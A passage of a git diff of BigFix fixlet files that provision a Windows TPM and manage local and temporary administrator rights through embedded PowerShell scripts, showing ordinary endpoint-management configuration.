-delete powershell.ps1
-
-createfile until _end_
-param (
-    $OutFolder = "."
-)
-
-import-module Bitlocker
-
-$guid = [guid]::NewGuid().Guid
-
-# If we are running on a version newer than Windows 7  use the new TPM cmdlets
-if ([Environment]::OSVersion.Version -gt (new-object 'Version' 6,2)) {{
-	#Physical Presence Allowed
-	$TPMResult = Initialize-Tpm -ForceClearAllowed -PhysicalPresenceAllowed
-
-	#No Physical Presence Allowed
-	#$TPMResult = Initialize-Tpm -allowclear
-
-	#Set TPM Owner Key
-	Set-TpmOwnerAuth -NewOwnerAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
-
-	#Backup Owner Key to Registry
-	Import-TpmOwnerAuth -OwnershipAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
-
-} else {{ # If we are running on Windows 7 use the old manage-bde method
-	manage-bde -tpm -turnon
-	manage-bde -tpm -takeownership "$GUID"
-}
-
-$GUID >> "$OutFolder\TPMOwnerAuthorization.txt"
-
-_end_
-
-move __createfile powershell.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder "{parameter "Storage"}"
-
-action requires restart]]></ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Provision Trusted Platform Module - Windows
+  ID       : 23094
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-21T09:27:59
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Provision Trusted Platform Module - Windows</Title>
+    <Description><![CDATA[<P>Provisions the trusted platform module on the device. The device must have an activated TPM in the BIOS before this fixlet will be relevant.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists selects &quot;* from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot; /* Require the TPM Exists on the System */</Relevance>
+    <Relevance>/* Verify the TPM isn&apos;t fully provisioned */ (not boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) or (not boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) or (not boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;)</Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-29</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action24089">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to provision the trusted platform module, set a random password on TPM ownership, and backup the password to the _BESData folder.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
+
+folder create "{parameter "Storage"}"
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+param (
+    $OutFolder = "."
+)
+
+import-module Bitlocker
+
+$guid = [guid]::NewGuid().Guid
+
+# If we are running on a version newer than Windows 7  use the new TPM cmdlets
+if ([Environment]::OSVersion.Version -gt (new-object 'Version' 6,2)) {{
+	#Physical Presence Allowed
+	#$TPMResult = Initialize-Tpm -ForceClearAllowed -PhysicalPresenceAllowed
+
+	#No Physical Presence Allowed
+	$TPMResult = Initialize-Tpm -allowclear
+
+	#Set TPM Owner Key
+	Set-TpmOwnerAuth -NewOwnerAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
+
+	#Backup Owner Key to Registry
+	Import-TpmOwnerAuth -OwnershipAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
+
+} else {{ # If we are running on Windows 7 use the old manage-bde method
+	manage-bde -tpm -turnon
+	manage-bde -tpm -takeownership "$GUID"
+}
+
+$GUID >> "$OutFolder\TPMOwnerAuthorization.txt"
+
+_end_
+
+move __createfile powershell.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder "{parameter "Storage"}"
+
+action requires restart]]></ActionScript>
+    </Action>
+    <Action ID="Action24090">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to provision the trusted platform module and&amp;nbsp;set a password on TPM ownership.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+action uses wow64 redirection {not x64 of operating system}
+
+parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
+
+parameter &quot;Storage&quot;=&quot;{pathname of folder &quot;__Global&quot; of data folder of client}\Bitlocker&quot;
+
+folder create &quot;{parameter &quot;Storage&quot;}&quot;
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+param (
+    $OutFolder = &quot;.&quot;
+)
+
+import-module Bitlocker
+
+$guid = [guid]::NewGuid().Guid
+
+# If we are running on a version newer than Windows 7  use the new TPM cmdlets
+if ([Environment]::OSVersion.Version -gt (new-object &apos;Version&apos; 6,2)) {{
+	#Physical Presence Allowed
+	#$TPMResult = Initialize-Tpm -ForceClearAllowed -PhysicalPresenceAllowed
+
+	#No Physical Presence Allowed
+	$TPMResult = Initialize-Tpm -allowclear
+
+	#Set TPM Owner Key
+	Set-TpmOwnerAuth -NewOwnerAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
+
+	#Backup Owner Key to Registry
+	Import-TpmOwnerAuth -OwnershipAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
+
+} else {{ # If we are running on Windows 7 use the old manage-bde method
+	manage-bde -tpm -turnon
+	manage-bde -tpm -takeownership &quot;$GUID&quot;
+}
+
+_end_
+
+move __createfile powershell.ps1
+
+waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder &quot;{parameter &quot;Storage&quot;}&quot;
+
+action requires restart</ActionScript>
+    </Action>
+    <Action ID="Action24091">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to provision the trusted platform module</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+action uses wow64 redirection {not x64 of operating system}
+
+parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
+
+parameter &quot;Storage&quot;=&quot;{pathname of folder &quot;__Global&quot; of data folder of client}\Bitlocker&quot;
+
+folder create &quot;{parameter &quot;Storage&quot;}&quot;
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+param (
+    $OutFolder = &quot;.&quot;
+)
+
+import-module Bitlocker
+
+
+# If we are running on a version newer than Windows 7  use the new TPM cmdlets
+if ([Environment]::OSVersion.Version -gt (new-object &apos;Version&apos; 6,2)) {{
+	#Physical Presence Allowed
+	#$TPMResult = Initialize-Tpm -ForceClearAllowed -PhysicalPresenceAllowed
+
+	#No Physical Presence Allowed
+	$TPMResult = Initialize-Tpm -allowclear
+
+} else {{ # If we are running on Windows 7 use the old manage-bde method
+	manage-bde -tpm -turnon
+}
+
+_end_
+
+move __createfile powershell.ps1
+
+waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder &quot;{parameter &quot;Storage&quot;}&quot;
+
+action requires restart</ActionScript>
+    </Action>
+    <Action ID="Action24092">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to provision the trusted platform module allowing a physical presence requirement, set a random password on TPM ownership, and backup the password to the _BESData folder.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
+
+folder create "{parameter "Storage"}"
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+param (
+    $OutFolder = "."
+)
+
+import-module Bitlocker
+
+$guid = [guid]::NewGuid().Guid
+
+# If we are running on a version newer than Windows 7  use the new TPM cmdlets
+if ([Environment]::OSVersion.Version -gt (new-object 'Version' 6,2)) {{
+	#Physical Presence Allowed
+	$TPMResult = Initialize-Tpm -ForceClearAllowed -PhysicalPresenceAllowed
+
+	#No Physical Presence Allowed
+	#$TPMResult = Initialize-Tpm -allowclear
+
+	#Set TPM Owner Key
+	Set-TpmOwnerAuth -NewOwnerAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
+
+	#Backup Owner Key to Registry
+	Import-TpmOwnerAuth -OwnershipAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
+
+} else {{ # If we are running on Windows 7 use the old manage-bde method
+	manage-bde -tpm -turnon
+	manage-bde -tpm -takeownership "$GUID"
+}
+
+$GUID >> "$OutFolder\TPMOwnerAuthorization.txt"
+
+_end_
+
+move __createfile powershell.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder "{parameter "Storage"}"
+
+action requires restart]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Administrators - Windows (24407).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Administrators - Windows (24407).bes
index 1447beea5..9817e3598 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Administrators - Windows (24407).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Administrators - Windows (24407).bes	
@@ -1,39 +1,39 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Remove Current User from Administrators - Windows
-  ID       : 24407
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-06-06T09:51:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Remove Current User from Administrators - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet removes the currently logged on user from the Administrators group.</P>
-<P><STRONG>Applicability Note: </STRONG>This Fixlet will be relevant only if the currently logged on user is explicitly a member of the Administrators group. This Fixlet will not be relevant if there are no logged on users or if there is more than one logged on user.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists members whose (sid of it = sid of logged on user) of local group &quot;administrators&quot;</Relevance>
-    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
-    <Category>Administrative Rights</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup &quot;administrators&quot; &quot;{sid of current user}&quot; /delete</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Remove Current User from Administrators - Windows
+  ID       : 24407
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-06-06T09:51:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Remove Current User from Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet removes the currently logged on user from the Administrators group.</P>
+<P><STRONG>Applicability Note: </STRONG>This Fixlet will be relevant only if the currently logged on user is explicitly a member of the Administrators group. This Fixlet will not be relevant if there are no logged on users or if there is more than one logged on user.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists members whose (sid of it = sid of logged on user) of local group &quot;administrators&quot;</Relevance>
+    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
+    <Category>Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup &quot;administrators&quot; &quot;{sid of current user}&quot; /delete</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Authorized Requestors - Windows (24159).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Authorized Requestors - Windows (24159).bes
index cd6877113..b139940c7 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Authorized Requestors - Windows (24159).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Authorized Requestors - Windows (24159).bes	
@@ -1,185 +1,185 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Remove Current User from Authorized Requestors - Windows
-  ID       : 24159
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-05-02T07:25:34
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Remove Current User from Authorized Requestors - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet removes any expired temporary administrators as provisioned by the temporary administrator fixlet in the C3-Inventory site.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists logged on user</Relevance>
-    <Relevance>exists key (component string of sid of logged on user as string) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current&quot; of x32 registry</Relevance>
-    <Category>Temporary Administrative Rights</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "SIDS"="{component strings of sid of logged on user}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (10000000 * week)}"
-parameter "Switches"="-Revoke -Requestor"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Remove Current User from Authorized Requestors - Windows
+  ID       : 24159
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:25:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Remove Current User from Authorized Requestors - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet removes any expired temporary administrators as provisioned by the temporary administrator fixlet in the C3-Inventory site.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>exists key (component string of sid of logged on user as string) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current&quot; of x32 registry</Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (10000000 * week)}"
+parameter "Switches"="-Revoke -Requestor"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
